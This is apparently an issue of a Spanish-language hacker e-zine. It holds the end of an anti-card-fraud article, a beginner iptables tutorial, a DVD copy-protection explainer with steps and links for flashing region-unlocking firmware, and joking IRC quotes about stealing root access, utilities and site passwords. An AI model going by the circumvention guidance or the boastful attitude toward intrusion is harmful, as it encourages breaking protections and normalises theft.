     Inmediatamente dirijite al banco emisor de la tarjeta denunciando el
     hecho.


  Para los comerciantes:

  1. Siempre fijate el holograma de VISA, si tiene impreso algo sobre el,
     estrucha.
  2. La fecha de emision y vencimiento tiene que comenzar justo debajo de
     los segundos cuatro numeros que tiene la tarjeta.
  3. Si el cupon esta doblado, demostrando que fue echo a mano, ya miralo
     con desconfianza.
  4. Directamente no aceptes cupones, si no anda la banda, tipea vos el
     posnet y que salga la factura larga en blanco e imprimila vos ahi.
  5. Pedi DNI siempre al efectuar operaciones. En el punto 4 cabe tambien
     para las estaciones de servicio, generalmente vos te quedas en el auto
     y ellos van hasta el mostrador para hacer el cupon, hay grandes
     posibilidades que ahi te saquen los datos. Los lugares que mas hacen
     esto son: estaciones de servicio, restaurantes. Tambien se usa mucho el
     fraude con tarjetas de credito en las compa~ias telefonicas, por lo que
     te aconsejo que no dejes cupones en locales no oficiales de compa~ias
     telefonicas! Si no tenes pensado comprar telefonos con tarjeta, anula
     la misma para operaciones concernientes a ese tema, se roban muchos
     datos de tarjetas de credito para realizar operaciones de telefonia.


  5. Conclusion
     ----------

  Bueno, espero no haberlos asustado, pero podemos notar que es
  relativamente facil cometer acciones fraudulentas con las tarjetas de
  creditos. Por favor usuarios, controlen sus tarjetas, cambien las
  contrase~as. Los que tengan negocios tengan mucho cuidado con las
  tarjetas truchas. He notado que algunas de las truchas no tienen la V
  del latin original, sino en espa~ol, pueden tenerlo presente, tambien
  note que algunas truchas tienen impresiones sobre el holograma de Visa
  que es la paloma. Por ultimo, me di cuenta que el papel donde va la firma
  en la parte de atras no estan bien impresos. Ojala que este peque~o
  vistaso sobre los plasticos adulterados les sirva. Conozco casos de
  negocios que les dieron tarjetas mellisas por el monto de mas de 15.000
  dolares.

  Los comerciantes que quieran un asesoramiento sobre reconocimiento de
  tarjetas de credito mellizas y copones impresos, envienme mails, la
  direccion esta en la pagina.


  Fin.

  By, KeRuBiN ---> www.kerubin.galeon.com <---

[--]


[++] 3x10d.txt

                                  -----------------------------[ 3x10d.txt ]
                                  ------------------[ Tutorial de Iptables ]
                                  ----------------------------[ Maquiavelo ]



  Bien, en los kerneles 2.4.x (y los 2.3 de prueba), se ha introducido una 
  nueva forma de manejar paquetes, que reemplaza al existente ipchains (de
  la misma manera que ipchains reemplazo ipfw), iptables NO ES UN FIREWALL,
  es un programa que maneja paquetes. Eso es todo.
  
  Para empezar, supongo que ya has instalado iptables en tu computadora, 
  compilastes tu kernel (o cargastes los modulos), y que tienes tu iptables 
  funcionando a la perfeccione ;) , si este no es el caso ve a 
  http://netfilter.samba.org y Lee un poco ;)

  En iptables tienes tres cadenas que no puedes eliminar, y son INPUT, 
  OUTPUT y FORWARD, puedes crear nuevas cadenas y borrar estas, pero no 
  puedes borrar input, output ni forward.

  Ten en cuenta esto:

  Para las cadenas:
  -N ( Crea una nueva cadena)
  -X (Borra una cadena)
  -P (Cambia la politica de una cadena)
  -L (Ensea las reglas de la cadena)
  -F (Las borra o les hace flush a la cadena)
  -Z (Convierte a cero en los contadores de los paquetes y de los bytes en 
     una cadena)

  Para las reglas:
  -A (Agrega una)
  -I (Inserta una nueva regla en una posicion especifica de la cadena)
  -R (Reemplaza una regla)
  -D (Borra una cadena especifica)
  -D (Borra la primera)

  Bien, comencemos con algo sencillo para que veas la sintaxis de como 
  funciona iptables,

  maq0r:/home/maquia# ping localhost
  PING maq0r (127.0.0.1): 56 data bytes
  64 bytes from 127.0.0.1: icmp_seq=0 ttl=255 time=1.2 ms

  Vamos a empezar por negar los icmps
  maq0r:/home/maquia# iptables -A INPUT -p icmp -s localhost -j DROP
  maq0r:/home/maquia# ping localhost
  PING maq0r (127.0.0.1): 56 data bytes

  --- maq0r ping statistics ---
  3 packets transmitted, 0 packets received, 100% packet loss

  
  Bien, expliquemos ahora entonces, tenemos esta regla 
  
  "iptables -A INPUT -p icmp -s localhost -j DROP"

  iptables     : El comando
  -A           : Agrega una regla
  INPUT        : A la cadena INPUT
  -p icmp      : Protocolo ICMP
  -s localhost : Proveniente de localhost
  -j DROP      : Negarlo, o tumbarlo.
  
  Es asi de sencillo. y facil.
 Bien, ahora borremos la regla haciendo
:
  
  maq0r:/home/maquia# iptables -D INPUT -p icmp -s localhost -j DROP
 
  -D es para borrar la cadena.

  Tambien podemos borrarla asi:
  
  maq0r:/home/maquia# iptables -D INPUT 1

  (1, porque es la primera regla de la cadena INPUT, puedes chekear haciendo
  iptables -L)
. Bien, ahora vemos nuevos parametros en las reglas, como -s 
  que tambien puede escribirse --source o --src, y la destinacion -d o 
  --destination o --dst

  Como puedes adivinar, -s especifica de donde viene el paquete, y puede ser
  un ip, o un host; tambien puede ser un subnet como por ejemplo 
  210.99.86.0/24

  Lo mismo sucede con -d y es el destino del paquete, puedes ser tu, 
  (localhost) o otro ip, (por ejemplo si estamos haciendo masquerading)

  Ahora, si tu no deseas especificar un destino o una fuente, simplemente 
  puedes omitir el valor -s o -d y el sistema tomara los defaults por 
  ejemplo
 iptables -A INPUT -p icmp -j DROP

  Negaria todos los paquetes provinientes de donde sea, hacia ti (protocolo
  icmp)
, Ahora, hablando de protocolos.

  Puedes especificar el protocolo que quieres que rechace (O acepte) por 
  medio de la opcion -p, Por ejemplo:

  iptables -A INPUT -p tcp --dport 80 -j DROP

  Esta regla, rechaza todos los paquetes que vengan hacia ti hacia el 
  puerto 80 (www).

  Puedes tambien especificar un puerto de origen 
con:

  iptables -A INPUT -p tcp --sport 53 -j DROP

  Esto rechaza los paquetes que provengan de un puerto 53


  Inversion
  ---------
  
  Puedes especificar lo contrario a lo establecido con el simbolo ! , por 
  ejemplo
: 
  
  iptables -A INPUT -p tcp --dport 80 -s ! localhost -j DROP

  Esta regla, rechaza todos los paquetes que no provengan de localhost al 
  puerto 80 (www). Tambien puedes especifiar una interface, con la 
  opcion -i , por ejemplo:
  
  iptables -A INPUT -i eth0 -j DROP

  Esto rechazaria todos los paquetes proviniendo de eth0 (tarjeta de red)
  Recordemos que podemos invertirlo

  iptables -A INPUT -i ! eth0 -j DROP

  Esto, rechazaria todos los paquetes que NO provengan de la interface 
  eth0
 
  

  Fragmentos
  ----------

  A veces, un paquete es muy grande para ser transmitido, y es divido en 
  fragmentos, el otro extremo, toma los fragmentos y reconstruye el paquete 
  original.
 Esto, crea un problema, el primer fragmento transporta la 
  informacion del paquete, como el ip y si es tcp, icmp o udp; pero los 
  demas fragmentos
 solo transportan el ip, por lo que ver a donde va cada 
  fragmento es imposible. (Y ni hablar de los diferentes DoS que atacan esta
  habilidad), 
Podemos crear reglas que filtren los paquetes que queramos, con
  la opcion -f
 , Por ejemplo:
  
  iptables -A OUTPUT -f -d 192.168.1.1 -j DROP

  Esto, negaria los fragmentos dirigidos a 192.168.1.1

  Bien, en proximas entregas, explicare un poco mas sobre las opciones que 
  puedes tener especificando los protocolos, dare un ejemplo de mis cadenas
  y te enseare como usar portsentry para evitar scans (o lo que hago yo, se
  los devuelvo, asi se escanean a si mismos ;)).

  Maquiavelo (xakermaquiavelo@hotmail.com)
  

[--]
  

[++] 3x10e.txt
                                  -----------------------------[ 3x10e.txt ]
                                  ----------------------------------[ DVDs ]
                                  --------------------------------[ Capone ]


  Este Mini-Articulo, es un extracto de muchos faqs que andan por ahi en 
  Internet, voy a tratar de explicar de una manera sencilla, casi todo lo 
  que pueda sobre DVD entre estas cosas estan los metodos de proteccion, las 
  Zonas, etc. Este documento esta compuesto por partes mias y partes de otros
  autores.


  Que es un DVD?
  ---------------
  DvD (Digital Video Disc), es un medio mas rapido que el CD, y con una 
  capacidad de almacenamiento mayor, el DVD puede almacenar Video Digital y 
  Datos en general. El DVD intenta apoderarse del mercado del 
  entretenimiento y de computadores como medio de almacenamiento

  Existen dos tipos de DVD-ROM, uno de ellos son los de Sobremesa (tipo VHS) 
  y los otros serian los de computadores (Como si fuese una unidad de CD)



  Cuanto se puede almacenar en un DVD?
  -------------------------------------

  (Sacado de DVD-FAQ)
  DVD-5 (12cm, SS/SL): 4.38 gig (4.7 BB) de datos, sobre 2 horas de video 
  DVD-9 (12cm, SS/DL): 7.95 gig (8.5 BB), sobre 4 horas 
  DVD-10 (12cm, DS/SL): 8.75 gig (9.4 BB), sobre 4.5 horas 
  DVD-14 (12cm, DS/ML): 12.33 gig (13.24 BB), sobre 6.5 horas 
  DVD-18 (12cm, DS/DL): 15.90 gig (17 BB), sobre 8 horas 
  DVD-1 (8cm, SS/SL): 1.36 (1.4 BB), sobre media hora 
  DVD-2 (8cm, SS/DL): 2.48 gig (2.7 BB), sobre 1.3 horas 
  DVD-3 (8cm, DS/SL): 2.72 gig (2.9 BB), sobre 1.4 horas 
  DVD-4 (8cm, DS/DL): 4.95 gig (5.3 BB), sobre 2.5 horas 
  DVD-R 1.0 (12cm, SS/SL): 3.68 gig (3.95 BB) 
  DVD-R 2.0 (12cm, DS/SL): 4.38 gig (4.7 BB) 
  DVD-RAM 1.0 (12cm, SS/SL): 2.40 gig (2.58 BB) 
  DVD-RAM 1.0 (12cm, DS/SL): 4.80 gig (5.16 BB) 
  DVD-RAM 2.0 (12cm, SS/SL): 4.37 gig (4.7 BB) 
  DVD-RAM 2.0 (12cm, DS/SL): 8.75 gig (9.4 BB) 
  DVD-RAM 2.0 (8cm, SS/SL): 1.36 gig (1.4 BB) 
  DVD-RAM 2.0 (8cm, DS/SL): 2.47 gig (2.65 BB) 
  CD-ROM (12cm, SS/SL): 0.635 gig (0.650 BB) 
  CD-ROM (8cm, SS/SL):0.180 gig (0.194 BB) 
  DDCD-ROM (12 cm, SS/SL): 1.270 gig (1.364 BB) 
  DDCD-ROM (8 cm, SS/SL): 0.360 gig (0.387 BB) 
 


  Que son codigos regionales o zonas? Cuales son?
  -------------------------------------------------

  Son un medio de proteccion hacia los estudios cinematograficos, por 
  ejemplo: en Europa se esta estrenando una pelicula, cuando ya en USA esa 
  misma pelicula ya esta a la venta en dvd, si esta a la venta en dvd eso 
  quiere decir que casi todos las vieron en los cines ;), Entonces por lo 
  tanto, si viene alguien de Europa y compra el dvd en USA no lo podra ver 
  en su lector.

  Estos codigos regionales o zonas son totalmente opcionales. Si este no 
  posee codigo se leera en cualquier unidad (Discos Multizonas). La 
  proteccion de las zonas se hace a traves de un Flag/Bit que le informa a 
  el lector que zona es, para luego este ver si estan en la lista de zonas 
  admitidas, luego de eso se podra visualizar. Si su disco no esta en las 
  regiones admitidas no se visualizara y emitira un error de zona.


  <STOP>
  Todo depende del tipo de lector que se posea, esto ya lo veremos mas 
  adelante
  </STOP>

  
  Las zonas habidas son:

  (Sacado del DVD-Faq)
  1: USA, Canada, territorios USA 
  2: Japon, Europa, Sur frica, Medio Este (incluyendo Egipto) 
  3: Sureste de Asia y Este de Asia (incluye Hong Kong) 
  4: Australia, Nueva Zelanda, Islas de Pacifico, America Central, Sudamerica, Caribe. 
  5: Europa del Este (Union Sovietica), subcontinente Indio, frica, Corea del Norte, Mongolia 
  6: China 
  7: Reservado 
  8: Especial para usos internacionales (aviones, cruceros, etc...)
  Mapa en http://www.unik.no/~robert/hifi/dvd/world.html


  Cuales son las protecciones del DVD?
  -------------------------------------

  (Sacado de DVDFaq)

  1) CPS Analogico (Macrovision):
     ----------------------------
     La copia analogica en cinta de video se evita con un circuito 
     Macrovision 7.0 o similar en cada lector. El termino general es APS 
     (Analog Protection System), tambien llamado a veces copyguard. Las 
     tarjetas de video con salidas compuestas o s-video (Y/C) tienen tambien 
     que usar APS. El Macrovision a~ade una se~al de color rapidamente 
     modulada ("Colorstripe") con pulsos en la se~al de blanking vertical 
     ("AGC") a la se~al de video compuesto en las salidas de video compuesto 
     y s-video. Esto confunde a la sincronizacion y a la circuiteria de nivel 
     de grabacion automatico en el 95% de los videos domesticos. 
     
     Desafortunadamente, puede degradar la imagen, especialmente con videos 
     viejos o no estandar. El Macrovision podria aparecer como bandas de 
     color, distorsion, ondulaciones, imagen en blanco y negro y ciclos de 
     oscuridad y claridad. El Macrovision crea problemas serios para muchos 
     dobladores de lineas. El Macrovision no esta presente en la salida de 
     video analogica de los primeros lectores, pero es requerida en los 
     nuevos lectores (AGC unicamente, ya que no hay burst en una componente 
     de se~al). Los discos contienen unos bits de "disparo" en el 
     encabezamiento de cada sector diciendo al lector si permiten o no 
     Macrovision AGC con la adicion opcional de Colorstripe de 2 o 4 lineas. 
     
     El impulso sucede sobre una vez por segundo, lo cual permite un fino 
     control sobre que parte del video esta protegida. El productor del disco 
     decide que cantidad de proteccion de copia permite y entonces paga los 
     royalties a Macrovision de acuerdo a esto (unos pocos centavos por disco).
     
     Al igual que las cintas de video, algunos DVDs estan protegidos con 
     Macrovision y otros no. (Para unos pocos detalles de Macrovision mira la 
     hoja de datos del codificador NTSC/PAL de STMicroelectronics en 
     <http://www.st.com/stonline/books/ascii/docs/4570.htm>). Hay dispositivos 
     baratos para eliminar el Macrovision, aunque solo unos pocosfunciona con 
     la nueva caracteristisca Colorstripe. Estos dispositivos se venden con 
     nombres tales como Video Clarifier, Image Stabilizer, Color Corrector, y 
     CopyMaster (estabilizador de video, regenerador de sincronismos, 
     estabilizador de imagen, estabilizadores de base de tiempos o 
     regeneradores de se~al de video y suelen venderse en grades almacenes o 
     tiendas de electronic. Puedes construirtelo tu mismo tambien. El APS 
     afecta unicamente al video, no al audio.



  2) CGMS :
     ------
     
     Cada disco incluso contiene informacion especificando si los contenidos 
     se pueden copiar. Esto es un "serio" sistema de administracion de copias 
     (CGMS copy generation management system) dise~ado para prevenir copias 
     de copias de copias. La informacion CGMS esta incluida en la se~al de video saliente. Para que el CGMS funcione, el equipo que hace la copia tiene que reconocer y respetar el CGMS. El estandar analogico (CGMS/A) codifica los datos en la linea 20 o 21 NTSC (en el servicio XDS). El CGMS/A es reconocido por la mayoria de las camaras digitales modernas y algunas tarjetas capturadoras de video (mostraran un mensaje tal como "recording inhibited"). El estandar digital (CGMS/D) no esta aun terminado, pero se aplicara a las conexiones digitales como IEEE 1394/Firewire. Mira la seccion 4 abajo. 


  3) Content Scrambling System (CSS):
     --------------------------------
  
     Debido al potencial de sacar copias digitales perfectas, los paranoicos 
     estudios forzaron un riguroso requerimiento de proteccion contra copia 
     en el estandar de DVD-Video. El Content Scrambling System (CSS) es una 
     forma de cifrado de datos para disuadir la lectura de ficheros de video 
     directamente desde el disco. El CSS fue desarrollado incialmente por 
     Matsushita y Toshiba. Cada licencia CSS se le asigna una clave dentro de 
     un conjunto de 400 claves que estan almacenadas en cada disco cifrado 
     con CSS. Esto permite que una licencia sea revocada quitando si clave de 
     los discos futuros. El algoritmo de descifrado CSS intercambia claves con 
     el lector para generar una clave de cifrado que se usa para esconder el 
     intercambio de claves del disco y claves de titulos que se necesitan para
     descifrar datos del disco Los lectores DVD-ROM y tarjetas de video tienen
     un hardware extra para descifrar los datos antes de ser decodificados y 
     visualizados. Por parte del ordenador/computadora, el hardware y software 
     decodificador tiene que incluir un modulo de descifrado CSS. Todos los 
     lectores DVD-ROM tienen un firmware extra para intercambiar claves de 
     autentificacion y descifrado con el modulo CSS en el ordenador. Empezando 
     en el 2000, todos los nuevos lectores DVD-ROM se les requerira que 
     soporten manejo regional conjuntamente con CSS (mira en 1.10 y 4.1). 
     
     Los fabricantes de equipos que visualicen DVD-Video (lectores, chips 
     decodificadores, software decodificador, tarjetas graficas, etc) tienen 
     que tener licencias CSS. No hay que pagar por una licencia CSS, pero es 
     actualmente un proceso largo, asi que se recomienda que las partes 
     interesadas se suscriban. Al final de mayo 97, las licencias CSS fueron 
     finalmente aprobadas para descodificacion software. La licencia es 
     extremadamente restrictiva en un intento de mantener tanto el algoritmo 
     CSS como las claves en secreto. Por supuesto, nada que se use en millones
     de lectores por todo el mundo puede ser mantenido en secreto mucho 
     tiempo. En octubre de 1999, el algoritmo CSS fue descubierto y enviado a 
     la internet, iniciando conflictos y batallas legales interminables (mira 
     en (see 4.8). 
     
     
  4) Content Protection for Prerecorded Media (CPPM):
     ------------------------------------------------

     El CPPM reemplaza el CSS para DVD-Audio. Se almacenan las claves en la 
     lead-in area, pero no hay claves de titulos encabezamientos de los 
     sectores. La clave de disco es reemplazada por un "identificador de 
     album". El mecanismo de autentificacion es el mismo que para el CSS. Asi 
     que no son necesarios cambios en los lectores actuales. Un disco puede 
     contener tanto CSS como CPPM (vendra mas info...)
     

  5) Content Protection for Recordable Media (CPRM):
     -----------------------------------------------

  El CPRM es un mecamismo que "ties"?? al medio en el cual esta grabado. 
  Esta soportado por todos los lectores de DVD comercializados despues de 
  1999. Cada disco DVD grabable tiene un identificador unico ID de 64-bits en 
  la BCA (mira 3.11). Cuando se graba en el disco contenido protegido, se 
  puede descifrar con un cipher??? de 56bit C2 (Cryptomeria) derivado del 
  identificador del disco ID. Durante la lectura, el ID del disco se lee del 
  BCA y se usa para generar una clave para descifrar los contenidos del disco. 
  
  Si los contenidos del disco se copian a otros medios, el ID estara ausente 
  o sera erroneo y los datos no seran descifrables.

  
  
  6) Digital Copy Protection System (DCPS):
     --------------------------------------
  
  Con la finalidad de proporcionar conexion digital entre componentes sin 
  permitir copias digitales perfectas, cinco sistemas de proteccion contra 
  copia digital fueron propuestos al CEMA. El que va en primera posicion es 
  DTCP (digital transmission content protection), enfocado en el IEEE 
  1394/FireWire pero que se puede aplicar a otros protocolos. El borrador 
  propuesto (llamado 5C, por las cinco compa~ias que lo han desarrollado) 
  estaba hecho por Intel, Sony, Hitachi, Matsusuhita y Toshiba en febrero 
  1998. Sony lanzo un chip DTCP a mediados de 1999. Bajo DTCP, los 
  dispositivos que estan conectados digitalmente, tales como un lector DVD y 
  una television digital, intercambian certificados y claves de 
  autentificacion para establecer un canal seguro. El lector DVD cifra 
  (encripta) la se~al de audio/video codificada mientras la envia al 
  dispositivo que la recibe, el cual debe descifrarla (desencriptarla). Esto 
  elimina otros dispositivos conectados pero no autentificados para que no 
  roben la se~al. No se necesita cifrado para contenidos que no estan 
  protegidos contra copia. La seguridad puede ser "renovada" por nuevos 
  contenidos (como nuevos discos o nuevas emisiones) y nuevos dispositivos 
  que lleven claves actualizadas y listas de revocaciones (para identificar 
  dispositivos no autorizados o comprometidos). Una propuesta competidora XCA 
  (extended conditional access), de Zenith y Thomson, es similar a DTCP pero 
  puede funcionar con interfaces digitales de se~al uni-direccionales (como 
  el estandar remodulador EIA-762 RF) y usa peque~as tarjetas para renovar la 
  seguridad. Se han hecho otras propuestas por MRJ Technology, NDS, y Philips. 
  
  En todas las cinco propuestas, el contenido se marca con marcas CGMS-style 
  de "libre copia", "copia solo una vez", "no copia" y a veces "no mas 
  copias". Los dispositivos digitales que no hacen mas que reproducir 
  audio/video seran capaces de recibir todos los datos (mientras puedan 
  autentificar que son dispositivos de solo-lectura). Los dispositivos de 
  grabacion digitales son unicamente capaces de recibir datos que estan 
  marcados como copiables, y tienen que cambiar la marca a "no copiar" o 
  "no mas copias" si la fuente esta marcada como "copiar una vez". El DCPS en 
  general esta dise~ado para la nueva generacion de TVs digitales, receptores 
  digitales, y grabadores de video digitales. Requerira nuevos lectores DVD 
  con conectores digitales (tales como los proporcionados en equipos DV).
  
  Estos nuevos productos probablemente no apareceran hasta el 2001 como 
  pronto. Puesto que el cifrado es realizado por el lector, no se necesitan 
  cambios en el formato de disco actual.

  Los primeros cuatro sistemas de proteccion de copia son opcionales para el
  productor del disco. El cifrado de la pelicula es tambien opcional para los
  fabricantes de software y hardware de lectura: un lector o 
  ordenador/computadora sin capacidad de cifrado sera unicamente capaz de 
  leer peliculas sin cifrar. EL CPRM es manejado automaticamente por los 
  grabadores de DVD. El DCPS es realizado por el lector DVD, no por el 
  desarrollador del disco
.
  
  Estos sistemas de proteccion contra copia estan dise~ados unicamente contra
  copia casual (la cual dicen los estudios que causa billones de dolares en 
  ingresos perdidos). La clave es "mantener en la legalidad a la gente legal".
  
  Incluso la gente que desarrollo el estandar de proteccion de copia admite 
  que no parara a los piratas bien equipados.

  Los estudios cinematograficos y empresas de electronica han promovido 
  legislacion haciendo ilegal eliminar la proteccion contra copia. El 
  resultado es el World Intellectual Property Organization (WIPO) Copyright 
  Treaty, el WIPO Performances and Phonograms Treaty (Diciembre 1996) y el 
  acuerdo U.S. Digital Millenium Copyright Act (DMCA), convertido a ley en 
  octubre de 1998. El software dise~ado especificamente para eliminar la 
  proteccion contra copia es ahora ilegal en USA y muchos otros paises. Un 
  compa~ero de un juez de un grupo legal del comite de proteccion de copia 
  dijo "en el mundo del video, la legislacion contemplada deberia proporcionar
  algun seguro de que cierta razonable y usual practica de copia casera sea
  permitida, asi como poner multas al que lo burle" No esta tan claro como 
  esto podria ser "permitido" por un lector o por estudios que fijen la marca
  de "no copia" en todos sus discos. 

  Los ordenadores/computadores y los lectores de DVD-ROM, incluyendo los 
  kits de actualizacion de DVD-ROM, se requiere que soporten Macrovision, 
  CGMS y CSS. Las tarjetas video de PC con salidas de television que no 
  soportan Macrovision no funcionaran con peliculas cifradas. Los 
  ordenadores/computadores con conectores IEEE 1394/FireWire tienen que 
  soportar el estandar final DCPS para trabajar con otros dispositivos DCPS. 

  Cada lector de DVD-ROM tiene que incluir circuiteria para establecer una 
  conexion segura al decodificador hardware o software en el 
  ordenador/computadora, a pesar de que CSS solo puede ser usado con 
  contenidos DVD-Video. Por supuesto, puesto que un DVD-ROM puede almacenar 
  cualquier tipo de dato de ordenador/computadora, otros esquemas de cifrado
  pueden ser implementados. 

  El Watermarking Review Panel (WaRP) --el sucesor del Data-Hiding Sub-Group 
  (DHSG)-- del grupo industrial Copy Protection Technical Working Group 
  (CPTWG) ha seleccionado una propuesta de marca de agua (marcas 
  transparentes) que ha sido aprobada por el DVD Forum. Las siete propuestas 
  originales de marcas de agua que fueron unidas en tres: IBM/NEC, 
  Macrovision/DigiMarc/Philips y Hitachi/Pioneer/Sony. El 17 de febrero de 
  1999, los primeros dos grupos se combinaron para formar el "Galaxy Group" y 
  unieron sus tecnologias en una sola propuesta. La marca de agua que se usa 
  para DVD-Audio y que sera a~adida al DVD en algun momento, marca 
  permanentemente cada cuadro de video o audio digital con informacion/ruido 
  que supuestamente es visualmente indetectable por los ojos o los oidos 
  humanos. Las marcas de agua pueden ser reconocidas por el equipo de lectura 
  y grabacion de video para prevenir la copia, incluso cuando la se~al es 
  transmitida via conexiones analogicas o digitales o esta sujeto a procesado 
  de video. Se requerira a los nuevos lectores y otros equipos que soporten 
  marcas transparentes, pero el DVD Forum intenta hacer los discos con marcas 
  de agua compatibles con los discos actuales. Hay informes de la primera 
  tecnica de marcas transparentes usadas por el DIVX que causaba tramas de 
  "gotas de lluvia" o "disparos" visibles, pero el problema parecia haber 
  sido resuelto en versiones mas recientes.



  Que es un firmware?
  --------------------
  Digamos que es, un software que controla las funciones interna de un 
  dispositivo, esto seria en general lineas generales, este software esta en 
  una "FlashMemory" y este es rescribible/actualizable. Es muy extra~o
 
  conseguirse con un FlashMemory que no sea re-escribible.


  Que es RPC1 y RPC2?
  --------------------

  RPC (Regional Protection Control) estan divididas en dos partes RPC1-RPC2

  RPC1: Es de aquel tipo que no tiene proteccion de zona, esto quiere decir 
        que puedes ver cualquiera de las 8 zonas

  RPC2: Es de aquel tipo que se puede cambiar la zona 5 veces, en la 5 vez 
        este se queda con ella.... y ya no hay retorno a atras!.

  Para verificar, que tipo de dvd tienes usa DriverInfo.

  Despues del 31 de diciembre de 1999, todas las unidades de dvd son RPC2


  
  Quiero pasar mi DVD a RPC1, Como lo logro?
  -------------------------------------------
  
  Ok, esto depende mucho de que unidad de dvd poseas. Algunas, basta usar un
  programa que resetea el firmware del DVD, o otros, que actualizas el 
  firmware con uno "hackeado" Te doy un consejo... si deseas tomar el riesgo 
  de poner tu DVD en RPC1, lee mucho antes y ve que cosas puedes hacer.. y 
  eso si, ten cuidado con lo que hagas.

  Voy a poner un ejemplo, poseo un DVD Compaq 113r (o que es lo mismo un 
  pioneer-113r) luego de andar varios dias en la red, consegui un firmware, 
  sigues los pasasos con mucho cuidado que casi siempre es iniciar en modo 
  ms-dos, ejecutar el programa y cruzar los dedos... luego de esto ve a win y 
  corre el DriverInfo, si este te dice: This Driver has no region protection, 
  todo esta hecho ya :), mas abajo les dejo los link en donde pueden conseguir 
  todo lo necesario para esto.



  Mas info:

  http://club.idecnet.com/~modegar/video/dvdfaq.html       (DVD-FaQ)
  (Toma secreen-shot de peliculas de DVD)
  http://www.visualdomain.com (DriveInfo)

   
  Firmware:

  http://regionhacks.datatestlab.com
  http://perso.club-internet.fr/farzeno/firmware/
  http://www.geocities.com/progressramsoftnet/DVD/firmwares.htm


  "La unica forma de descubrir los limites de lo posible consiste en ir mas 
   alla de ellos, hacia lo imposible. --Clark-"


   Capone, El Mafioso - mafioso@cantv.net
   

--EOF--


[--]



[++] 3x10f.txt

                                  -----------------------------[ 3x10f.txt ]
                                  ------------------------[ Quotas del IRC ]
                                  ---------------------------[ 0ri0n Staff ]



<kl0nk> esta verga es que?
<locomIRC> un verga refundida
<locomIRC> donde la gente
<locomIRC> cree dominar el mundo con un AOP
<kl0nk> JAJAJJAJJA
<locomIRC> y para colome no saben ni lo que es aop ni lo que es lammer
<locomIRC> las cosas que uno tiene que leer
<locomIRC> te presento al lammer mas grande que halla podido conocer
<locomIRC> es Anonimo_Nachin
<kl0nk> cual?
<kl0nk> jjejejeje
<Anonimo_Nachin> si se lo k es AOP
<locomIRC> no te preocupes
<locomIRC> si ves
<Anonimo_Nachin> lol
<locomIRC> con el tipico script
<Anonimo_Nachin> k es un lammer...

<-:->

<Cisco> hi
<Botr0n> yo! Cisco
<Cisco> sup Botr0n
<Botr0n> ta wena la tele
<Cisco> sipo
<Cisco> te tay hackeando el pentagono?
<Cisco> te tay hackeando el pentagono Botr0n?
<Botr0n> no me webees esperate un poco
<Cisco> ke estay copilando Botr0n?
<Botr0n> h4x0r3d by Botr0n

<-:->

<Maquiavelo> argh
<kl0nk> argh
<Maquiavelo> porque
<Maquiavelo> ponen el topic en colores?
<kl0nk> porque tengo gripe
<Maquiavelo> tienes gripe?
<kl0nk> si
<kl0nk> toy malo
<Maquiavelo> ?
<Maquiavelo> no entendi nada.

<-:->

<vil_roach> tenes Aproachign Zero ?
<kl0nk> uy, hackers

<-:->

<locomIRC> oe
<locomIRC> sabes que estoy en un liaso
<kl0nk> liaso
<kl0nk> ??
<locomIRC> sip
<locomIRC> me quieren meter preso
<kl0nk> y eso porque?
<locomIRC> por robar
<kl0nk> y que robastes?
*** b4ng (dd@xxx.xx.xxx.147) cierra [00:58] Ping timeout
<locomIRC> telefono, luz, internet y el root de la universidad
<kl0nk> hehehe
<locomIRC> sip
<locomIRC> pero no lo considero
<locomIRC> robar
<locomIRC> si apenas parezco un nio jugando a ser explorador
<kl0nk> hehehe

<-:->

<locomIRC> oe kl0nk
<locomIRC> tines Fox
<kl0nk> Fox?
<kl0nk Zorra?
<locomIRC> el canal
<locomIRC> de television
<kl0nk> Ah, no
<kl0nk> soy pobre
<kl0nk> no tengo television por cable
<kl0nk> =(
<locomIRC> jaja
<locomIRC> roba
<locomIRC> yo lo hago
<kl0nk> jeje

<-:->

<pecha> una pregunta hay alguna manera en modo dos de agregar usuarios en nt?

<-:->

<kl0nk> You have entered an Invalid or Expired
<kl0nk> Adult Check GOLD ID
* vil_roach necesita pervertidos como ustedes para venderles passes a sitios porno
<locomIRC> jaja
<locomIRC> si lo puedo comprar
<vil_roach> <kl0nk> You have entered an Invalid or Expired <--- Tambien robas CC ???
<kl0nk> vil
<kl0nk> yo trate de entar con el id que nos distes a nosotros
<vil_roach> y sale eso ?
<kl0nk> el de 
<kl0nk> boobed50eild
<kl0nk> no se
<vil_roach> sera que me pillaroN ??
<vil_roach> vendra la policia ??
<vil_roach> salgo corriendo como loco ?
<kl0nk> jajaja

<-:->

<TCKid> oe
<TCKid> que hacen ?
<TCKid> se masturban un viernes santo ??
<TCKid> no puedo creerlo !!
<kl0nk> Yo no
<kl0nk> pero el sabado
<kl0nk> si
<kl0nk> hehehe
<TCKid> se les va a caer!!

<-:->

<El-Jeckill> que pasa
<El-Jeckill> les impresiona
<El-Jeckill> que alguien no quiera ver porno?

<-:->

<el[adicto]> oiga
<el[adicto]> tengo una notepad
<el[adicto]> uy perdon
<el[adicto]> tengo una nueva notbook

<-:->

<El[adicto> oiga es verdad eso del MS linux

<-:->

<El[adicto> uy que cool
<El[adicto> jaja
<El[adicto> que dice si hackeamos hotmail
<kl0nk> pufff
<El[adicto> jaja
<El[adicto> muy 31173

<-:->

<Mindlock> free ConeXion

<-:->

<sitxu> ke es v+?

<-:->


<VMedina-Linux> deberian usar pgp phone
<kl0nk> Vmedina: porque tengo que encriptar mis conversaciones?
<VMedina-Linux> pa se mas paranoico!
<VMedina-Linux> :-)

<-:->


<Soy_Un_Sadico> mi papa se va a alegar cuando vea estas foticos
<Paella> no se si lo dices sarcasticamente pero el mio si
<Paella> en serio
<Paella> es mas sadico ke yo
<isnowknownas> hhahahha
<Soy_Un_Sadico> No, mi papa es mas sadico que todos nosotros Juntos ... <Soy_Un_Sadico> Digalo alli papone
<Soy_Un_Sadico> Le tube que montar un proxy-cache pa que quedaran las foticos pornos gurdadas en el cache =)

<-:->

<Paella> VMedina est callaito.. ke estar haciendo??
<Paella> hehehehe
<Papone> hahahhahahhahha
<Papone> Paella: raspando yuca
<Papone> jahahah
<Papone> rallando yucaaaaa
<Paella> Parece ke le gustaron mucho las fotos
<Paella> hahahahaha

<-:->


<Paella> Esta concentrao
<Paella> hahahahaha

Media Hora despues ...

<VMedina-Linux> aqui estoy!
<VMedina-Linux> coo me cortaron la nota!

<-:->


<Papone_> No esta autorizado a ver esta pagina
<Papone_> mierda
<Papone_> mierda mierda saben que soy menor de edad

<-:->


